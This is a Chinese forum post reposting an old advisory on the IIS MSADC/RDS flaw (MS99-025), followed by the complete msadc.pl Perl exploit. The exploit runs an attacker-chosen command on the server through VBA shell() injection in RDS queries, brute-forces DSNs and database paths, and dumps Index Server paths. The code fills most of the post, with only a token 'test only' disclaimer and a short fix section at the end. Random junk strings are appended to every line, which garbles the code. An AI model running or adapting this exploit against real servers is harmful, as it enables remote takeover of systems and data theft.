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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) CT@JNG$<"  
?|8H|LBIr  
涉及程序: Kr!(<i  
Microsoft NT server 0xVue[ep  
s[ |sfqB1`  
描述: vMsb@@O\\  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 \gRX:i#n  
( w(GJ/g  
详细: 3 T$gT  
如果你没有时间读详细内容的话,就删除: i0 ax`37  
c:\Program Files\Common Files\System\Msadc\msadcs.dll m}] bP  
有关的安全问题就没有了。 @Y'BqDFlZ  
DUc - D==  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 >A#wvQl7   
u/e-m/  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 [XWY-q#Gg  
关于利用ODBC远程漏洞的描述,请参看: `<Xq@\H  
#`5{?2gS9  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm lzz rzx^  
j4L ) D  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 f%0^89)  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp "VxZnT  
vgSs]g  
这里不再论述。 Kd8V,teH  
R9o3T)9V  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: #EiOC.A=  
[ Y_6PR  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset A.<HOx&#  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 4oT1<n`r+  
PW"G]G,  
<o^_il$W  
#将下面这段保存为txt文件,然后: "perl -x 文件名"  $j*j {}K  
w#w lZ1f  
#!perl $\l7aA5~  
# TTaSg\K  
# MSADC/RDS 'usage' (aka exploit) script #(C2KRRiA  
# HDU tLU d  
# by rain.forest.puppy Ml` f+$  
# EOu\7;kE9  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 6CBk,2DswI  
# beta test and find errors! L;=:OX 0  
& IVwm"  
use Socket; use Getopt::Std; $ Scb8<  
getopts("e:vd:h:XR", \%args); 7u]0dHj  
t>QAM6[  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Jw'%[(q Q  
+!IIt {u  
if (!defined $args{h} && !defined $args{R}) { LC/9)Sh_n  
print qq~ |'WaBy1  
Usage: msadc.pl -h <host> { -d <delay> -X -v } +U9Gj#  
-h <host> = host you want to scan (ip or domain) DTrS9j?z  
-d <seconds> = delay between calls, default 1 second n*G[ZW*Uc  
-X = dump Index Server path table, if available S?Q4u!FC  
-v = verbose S+>1yvr),  
-e = external dictionary file for step 5 Bi9b"*LN  
w*`5b!+/  
Or a -R will resume a command session ru,]!YPJE2  
il `O*6-  
~; exit;} XQ&iV7   
%pmowo~{  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 5inmFT?9Z  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Q.H y"~  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} nYG$V)iCb  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); dg/OjiD[P  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 4Y5Q>2D}  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } B RF=TL5Z  
fyIL/7hzf4  
if (!defined $args{R}){ $ret = &has_msadc; Xxcv 5.ug  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 3+_? /}<  
}R:eKj  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ^& ZlV  
. "cmd /c "; ab8uY.j  
$in=<STDIN>; chomp $in; ]Ln2|$R  
$command="cmd /c " . $in ; .a\b_[+W  
09<O b[%h  
if (defined $args{R}) {&load; exit;} Ql sMMIax  
xg %EQ  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; M7BCBA  
&try_btcustmr; `2\vDy1,j  
kxt@t#  
print "\nStep 2: Trying to make our own DSN..."; |i'V\" hW  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 4`5jq)  
<@xp. Y  
print "\nStep 3: Trying known DSNs..."; ;}{xpJ/  
&known_dsn; vR<Y1<j  
k L2(M6m  
print "\nStep 4: Trying known .mdbs..."; 7ET^,6  
&known_mdb; p ASNiH698  
,<*n>W4|  
if (defined $args{e}){ Qi`Lj5;\F  
print "\nStep 5: Trying dictionary of DSN names..."; #4"(M9kf  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } .C(Ir  
~TwjcI*/  
print "Sorry Charley...maybe next time?\n"; w!o[pvyR$  
exit; ;rWgt!l  
A\Rkt;:  
############################################################################## p%~#~5t,  
8#NtZ  
sub sendraw { # ripped and modded from whisker @'`!2[2'?  
sleep($delay); # it's a DoS on the server! At least on mine... S'qEBz  
my ($pstr)=@_; )p'ZSXb  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || z><=F,W  
die("Socket problems\n"); =zBcfFii`w  
if(connect(S,pack "SnA4x8",2,80,$target)){ 6}"P m  
select(S); $|=1; !a?$  
print $pstr; my @in=<S>; o@j]yA.5)  
select(STDOUT); close(S); [mph iH/  
return @in; IFNs)*  
} else { die("Can't connect...\n"); }} r# MJ  
tr0P ;}=  
############################################################################## {vh}f+2  
FOiwB^$ >  
sub make_header { # make the HTTP request 2iHD$tw  
my $msadc=<<EOT W|J8QNL?jm  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ?{l}35Q.@  
User-Agent: ACTIVEDATA  {h/[!I `  
Host: $ip U8L%=/N>B  
Content-Length: $clen DJ;il)^  
Connection: Keep-Alive x>vC;E${"  
8 hx4N  
ADCClientVersion:01.06 J'9hzag  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 g*69TqO^  
v'uWmL7C  
--!ADM!ROX!YOUR!WORLD! j:K>3?   
Content-Type: application/x-varg eAN]*: ]g  
Content-Length: $reqlen s^+h>  
P F#+G;q;  
EOT 4E]w4BG)  
; $msadc=~s/\n/\r\n/g; _MQ)  
return $msadc;} Zyxr#:Qm  
W1S7%6y_1  
############################################################################## 8P5yaS_  
Rhh5r0 \5  
sub make_req { # make the RDS request ||3%REliC  
my ($switch, $p1, $p2)=@_; '<_nL8A^  
my $req=""; my $t1, $t2, $query, $dsn; `%}SK~<R  
i356m9j  
if ($switch==1){ # this is the btcustmr.mdb query ;Z|X` <6g  
$query="Select * from Customers where City=" . make_shell(); 7Y T%.ID  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ]w z`j1  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} h`n,:Y^++P  
>+y[HTf-  
elsif ($switch==2){ # this is general make table query rZ`ob x\S  
$query="create table AZZ (B int, C varchar(10))"; 9r.Os  
$dsn="$p1";} N"SFVc_2  
|}N -5U  
elsif ($switch==3){ # this is general exploit table query Zg1=g_xY  
$query="select * from AZZ where C=" . make_shell(); Rd~-.&   
$dsn="$p1";} 9/3gF)I}  
xtW Q.  
elsif ($switch==4){ # attempt to hork file info from index server &}:'YK*X  
$query="select path from scope()"; \'Oi0qo>  
$dsn="Provider=MSIDXS;";} ZHT_o\  
o?(({HH  
elsif ($switch==5){ # bad query x0 1n  
$query="select"; (os}s8cIh  
$dsn="$p1";} !h3 $C\  
d-Vttxa6  
$t1= make_unicode($query); c,nE@~ul2  
$t2= make_unicode($dsn); Hx[YHu KL^  
$req = "\x02\x00\x03\x00"; 5%,5Xe4p  
$req.= "\x08\x00" . pack ("S1", length($t1)); &R+/Ie#0dz  
$req.= "\x00\x00" . $t1 ; wSoIU,I  
$req.= "\x08\x00" . pack ("S1", length($t2)); o1C1F}gxU  
$req.= "\x00\x00" . $t2 ; pw|f4c7AH  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; B1)gudP`  
return $req;} {3n|=  
JDPn   
############################################################################## n{sF'n</  
SQ%B"1&$D  
sub make_shell { # this makes the shell() statement ;NNYJqWd^]  
return "'|shell(\"$command\")|'";}  uYVlF@]  
o %GVg  
############################################################################## 8,iBG! RF  
&Omo\Oq&W>  
sub make_unicode { # quick little function to convert to unicode lz2B,#  
my ($in)=@_; my $out; 3z7SK Gy  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } D2N| A  
return $out;} K8[vJ7(!|  
Y,BzBUWK  
############################################################################## M)4-eo  
|a9d]^  
sub rdo_success { # checks for RDO return success (this is kludge) QOXG:?v\  
my (@in) = @_; my $base=content_start(@in); q?} /q  
if($in[$base]=~/multipart\/mixed/){ >g7}JI&  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} cmG*"  
return 0;} v2=Iqo  
}j<:hD QP  
############################################################################## y4sKe:@2  
}-YM>q  
sub make_dsn { # this makes a DSN for us JSz;>  
my @drives=("c","d","e","f"); pG"pvfEl9f  
print "\nMaking DSN: "; <u "xHl8Io  
foreach $drive (@drives) { 4<%(Y-_sF  
print "$drive: "; .. jc^'L  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . cbe&SxJ  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" r7B.@+QK  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ToMvP B);  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; zT$-%  
return 0 if $2 eq "404"; # not found/doesn't exist 4lrF{S8  
if($2 eq "200") { wUb5[m  
foreach $line (@results) { t~vOm   
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ,U`:IP/L  
} return 0;} ^h wF=  
s<3cvF<  
############################################################################## Hq<Sg4nz  
SURbH;[   
sub verify_exists { 9*s''=  
my ($page)=@_; u|]{|Ya'%  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 6/{V#.(  
return $results[0];} wf*G+&b d2  
{qxFRi#\k  
############################################################################## WX.6|  
QuFzj`(  
sub try_btcustmr { akR+QZ,)  
my @drives=("c","d","e","f"); ])`+ 78  
my @dirs=("winnt","winnt35","winnt351","win","windows"); x=-dv8N?  
=NJ:%kvF  
foreach $dir (@dirs) { =VA5!-6<Uq  
print "$dir -> "; # fun status so you can see progress rl:6N*kK  
foreach $drive (@drives) { $D;/b+a  
print "$drive: "; # ditto n^}M*#  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; a'zXLlXgGd  
$reqlenlen=length( "$reqlen" ); @4sEHk 3  
$clen= 206 + $reqlenlen + $reqlen; R<\5 q%@G  
HJ5 Ktt  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); KDTG9KC  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} * AsILK0  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ~|y$^qy?U  
W`^euBr7R>  
############################################################################## ad <z+a  
dU4  h  
sub odbc_error { 9gWR djK:  
my (@in)=@_; my $base; Ltk'`  
my $base = content_start(@in); {B;<R1  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this tjONN(K`  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 3K)12x$.K  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; (29h{=P'  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; qH 1k  
return $in[$base+4].$in[$base+5].$in[$base+6];} a4a/]q4T  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; <]: X  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ,[gu7z^|  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} %IAZU c  
?HD eiJ kX  
############################################################################## !u)>XS^E  
KImBQ2^Tu  
sub verbose { {TmrWFo  
my ($in)=@_; n,,hE_  
return if !$verbose; #.Q3}[M  
print STDOUT "\n$in\n";} 9^yf'9S1  
0cGO*G2Xr  
############################################################################## v3zd>fDnRp  
Z~X\Z.  
sub save { LgG7|\(-  
my ($p1, $p2, $p3, $p4)=@_; FCr^D$_w  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 4O I''i  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; v@xbur\L  
close OUT;} R=7,F6.  
nky%Eb[\  
############################################################################## Re[x$rw  
3bWYRW  
sub load { B|fh 4FNy  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; /5**2Kgv1  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); J&hzr t  
@p=<IN>; close(IN); yW =I*f  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); M53{e;.kN  
$target= inet_aton($ip) || die("inet_aton problems"); w(,K  
print "Resuming to $ip ..."; SRP.Mqg9  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; CIt%7 \c  
if($p[1]==1) { tVUC@M>'  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; < bvbfS  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 4z;@1nN_8a  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); \zx &5a #  
if (rdo_success(@results)){print "Success!\n";} {zck Y  
else { print "failed\n"; verbose(odbc_error(@results));}} 4J~ZZ  
elsif ($p[1]==3){ XJ$mRh0`K  
if(run_query("$p[3]")){ m2{DLw".  
print "Success!\n";} else { print "failed\n"; }} 9~rrN60Q  
elsif ($p[1]==4){ ;nSOe AF)Q  
if(run_query($drvst . "$p[3]")){ rd )_*{  
print "Success!\n"; } else { print "failed\n"; }} G5l?c@o  
exit;} uGoySt&;(  
c }-AD r9  
############################################################################## 5%6{ ePh{  
V/t/uNm  
sub create_table { z~m{'O`  
my ($in)=@_; Q  *]d[  
$reqlen=length( make_req(2,$in,"") ) - 28; l* ap$1'  
$reqlenlen=length( "$reqlen" ); _L^(CFE  
$clen= 206 + $reqlenlen + $reqlen; 8*bEsc|  
my @results=sendraw(make_header() . make_req(2,$in,"")); x$SxGc~4gb  
return 1 if rdo_success(@results); <<SUIY@X  
my $temp= odbc_error(@results); verbose($temp); vC [uEx:  
return 1 if $temp=~/Table 'AZZ' already exists/; w7#9t  
return 0;} ,P>xpfdK  
xj!G9x<!  
############################################################################## 1(YEOZ  
hvFXYq_[O  
sub known_dsn { qN=l$_UD  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Nn/f*GDvK  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", HxAN&g *:  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", u4KP;_,m  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); #$dEg  
!T|q/ri  
foreach $dSn (@dsns) { f{HjM? Mb3  
print "."; S - N [  
next if (!is_access("DSN=$dSn")); o5(~nQ  
if(create_table("DSN=$dSn")){ i"_@iN0N  
print "$dSn successful\n"; \@8.BCWK  
if(run_query("DSN=$dSn")){ K*/X{3J;  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { c/'Cju W  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Iq?#kV9)  
<Pnz$nH:e  
############################################################################## Sb|9U8h  
>WZ_) `R  
sub is_access { $sxm MP  
my ($in)=@_; [Yyb)Qf  
$reqlen=length( make_req(5,$in,"") ) - 28; vVy X[ZZ  
$reqlenlen=length( "$reqlen" ); x & ZW f?  
$clen= 206 + $reqlenlen + $reqlen; 0XzrzT"&  
my @results=sendraw(make_header() . make_req(5,$in,"")); +7V4mF!u  
my $temp= odbc_error(@results); c$fYK  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); lP;X=X>  
return 0;} =>m x>R`S  
/\wm/Yx?S  
############################################################################## #,5v#| u|7  
>D5WAQ>b  
sub run_query { + e3{J_  
my ($in)=@_; n85d g  
$reqlen=length( make_req(3,$in,"") ) - 28; JFOXrRR=d  
$reqlenlen=length( "$reqlen" ); 2FxrjA  
$clen= 206 + $reqlenlen + $reqlen; -}G>{5.A  
my @results=sendraw(make_header() . make_req(3,$in,"")); Vb++K0CK  
return 1 if rdo_success(@results); +FBUB  
my $temp= odbc_error(@results); verbose($temp); "q]r{0  
return 0;} g;eoH  
1"fbQ^4`  
############################################################################## T!YfCw.HZ  
ls,;ozU  
sub known_mdb { V"u .u  
my @drives=("c","d","e","f","g"); ,3,(/%=k  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ) OE!vA  
my $dir, $drive, $mdb; c?t,,\o(}  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; *%aWGAu:  
17ol %3 M  
# this is sparse, because I don't know of many  K?]c  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ,&ld:v?~  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ]m=2 $mK  
"\\system32\\certmdb.mdb", LSlYYyt  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% G9AQIU%ii  
mGC!7^_D`  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", gw_]Y^U  
"\\cfusion\\cfapps\\forums\\forums_.mdb", >0AVs6&;v  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", G|+naZ  
"\\cfusion\\cfapps\\security\\realm_.mdb", N#&/d nV  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ;hZ^zL  
"\\cfusion\\database\\cfexamples.mdb", Z` zyE P A  
"\\cfusion\\database\\cfsnippets.mdb", 6483v'  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", #,jw! HO]  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", @E !`:/k  
"\\cfusion\\brighttiger\\database\\cleam.mdb", &<$YR~g5j$  
"\\cfusion\\database\\smpolicy.mdb", "8*5!anu-  
"\\cfusion\\database\cypress.mdb", D:.1Be`Tv  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", eZv G  
"\\website\\cgi-win\\dbsample.mdb", NA{?DSP  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", -P>up)p  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" _J ZlXY  
); #these are just p;P cD  
foreach $drive (@drives) { !McRtxq?~  
foreach $dir (@dirs){ lEr_4!h$rZ  
foreach $mdb (@sysmdbs) { XM:Y(#?l  
print "."; D"ecwx{%;C  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ )Q)H!yin  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; .]y"04@]  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 4&}dA^F  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; b3^d!#KVM  
} else { print "Something's borked. Use verbose next time\n"; }}}}} rZkl0Y;n\  
$(N+E,XB  
foreach $drive (@drives) { wdLlQD  
foreach $mdb (@mdbs) { cIB[D.  
print "."; -esq]c%3  
if(create_table($drv . $drive . $dir . $mdb)){ Y8@TY?  
print "\n" . $drive . $dir . $mdb . " successful\n"; hNUkaP  
if(run_query($drv . $drive . $dir . $mdb)){ 0oNy  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; bVW2Tjc:  
} else { print "Something's borked. Use verbose next time\n"; }}}} oBI@.&tG}  
} GSaU:A  
]`T*}$|  
############################################################################## 5o2vj8::  
hw)#TEt   
sub hork_idx { 'E_~>  
print "\nAttempting to dump Index Server tables...\n"; p)YI8nW  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Cw,;>>Y_b<  
$reqlen=length( make_req(4,"","") ) - 28; yd~}CF  
$reqlenlen=length( "$reqlen" ); P{[@t_  
$clen= 206 + $reqlenlen + $reqlen; +H6cZ,  
my @results=sendraw2(make_header() . make_req(4,"","")); $I4:g.gKpG  
if (rdo_success(@results)){ Og/@w&  
my $max=@results; my $c; my %d; .EdQ]c-E=  
for($c=19; $c<$max; $c++){ >O/1Lpl.3  
$results[$c]=~s/\x00//g; %P HYJc  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; %?i~`0-:n%  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; BU=;rz!;  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Z O\x|E!b  
$d{"$1$2"}="";} ~ "stI   
foreach $c (keys %d){ print "$c\n"; } ]Z=O+7(r  
} else {print "Index server doesn't seem to be installed.\n"; }} ! ~3zp L  
"S^ ""5  
############################################################################## g$9EI\a  
 K>S:Z  
sub dsn_dict { Rw]lW;EN<  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); A#x_>fV  
while(<IN>){ k:* (..!0z  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; iVAAGZ>am  
next if (!is_access("DSN=$dSn")); H?$gHZPI  
if(create_table("DSN=$dSn")){ (GB*+@  
print "$dSn successful\n"; :7 OhplI  
if(run_query("DSN=$dSn")){ \ ix& U  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ;^9y#muk  
print "Something's borked. Use verbose next time\n";}}} gf^XqTLs  
print "\n"; close(IN);} "|6763.{4  
{L.=)zt>  
############################################################################## Ers8J V  
E .%_i8s  
sub sendraw2 { # ripped and modded from whisker 6o=Q;Mezl  
sleep($delay); # it's a DoS on the server! At least on mine... _n=,H  
my ($pstr)=@_; -E,p[Sp  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || L1u(\zw  
die("Socket problems\n"); &8M^E/#.^;  
if(connect(S,pack "SnA4x8",2,80,$target)){ ZJ'Tb<fP  
print "Connected. Getting data"; ;wKsi_``@  
open(OUT,">raw.out"); my @in; _}3NLAqg  
select(S); $|=1; print $pstr; 3JXKp k?   
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Kp?j\67S  
close(OUT); select(STDOUT); close(S); return @in; =+"=|cQ  
} else { die("Can't connect...\n"); }} K3-Cuku  
8XhGo2zf  
############################################################################## y_}jf,b4  
<MzXTy3\  
sub content_start { # this will take in the server headers oa2v/P1`  
my (@in)=@_; my $c; Pt[ b;}  
for ($c=1;$c<500;$c++) { L6n<h  
if($in[$c] =~/^\x0d\x0a/){ 5rlZ'>I.  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } s8|F e_  
else { return $c+1; }}} t;L7H E@Y  
return -1;} # it should never get here actually d[$YTw  
O#3PUuE%d  
############################################################################## f0]`TjY  
r0j+P%  
sub funky { ' T%70)CM~  
my (@in)=@_; my $error=odbc_error(@in); Ot([5/K  
if($error=~/ADO could not find the specified provider/){ $i;_yTht  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; x A"V!8C  
exit;} Eq6. s)10  
if($error=~/A Handler is required/){ <= Aqi91  
print "\nServer has custom handler filters (they most likely are patched)\n";  LAO2Py#  
exit;} GjeRp|_Qd<  
if($error=~/specified Handler has denied Access/){ VK3e(7 b  
print "\nServer has custom handler filters (they most likely are patched)\n"; Yu_` >so  
exit;}} rO7[{<97m  
_ m<@ou7  
############################################################################## q^^&nz<A  
`VD7VX,rp*  
sub has_msadc { l$DQkbOj  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); U~s-'-C /  
my $base=content_start(@results); +?bjP6w_g  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); z,IUCNgM  
return 0;} H:!pFj  
4$MV]ldUI  
######################## ,@r 0-gL  
'q, L*  
!B:wzb_  
解决方案: 9KDm<Q-mf  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ;k5B@z/<S  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Yrmd hSY  
C[Nh>V7=  
拿出来充数 哈哈
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